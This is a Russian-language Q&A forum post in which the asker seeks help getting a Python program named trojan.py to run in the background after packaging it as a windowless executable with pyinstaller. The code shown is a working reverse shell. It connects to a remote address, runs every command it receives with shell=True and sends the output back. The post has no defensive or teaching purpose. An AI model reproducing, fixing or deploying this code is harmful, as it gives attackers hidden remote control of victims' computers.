Как прочитать вывод Popen или запустить, когда скрипт работает в фоновом режиме - PullRequest
0 голосов
/ 20 марта 2020

моя программа выполняет заданную команду с сервера, а затем отправляет обратно вывод cmd на сервер

, когда я использую стандартный вывод во время работы программы, обычно она работает нормально, но когда я использую ее в программе, когда ее работает на backgroun я получаю ошибку (фатальная ошибка: не удалось выполнить скрипт) я использовал эту команду, чтобы перейти с .py на exe

pyinstaller --onefile -w trojan.py

это мой код

import socket
from subprocess import * 


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.22",22))

while True:
    command = s.recv(1024)
    command = command.decode()
    p = Popen(command,shell = True , stdout = PIPE , stderr = PIPE)
    out = p.stdout.read() + p.stderr.read()
    out = str(out).encode()
    s.send(bytes(out))
...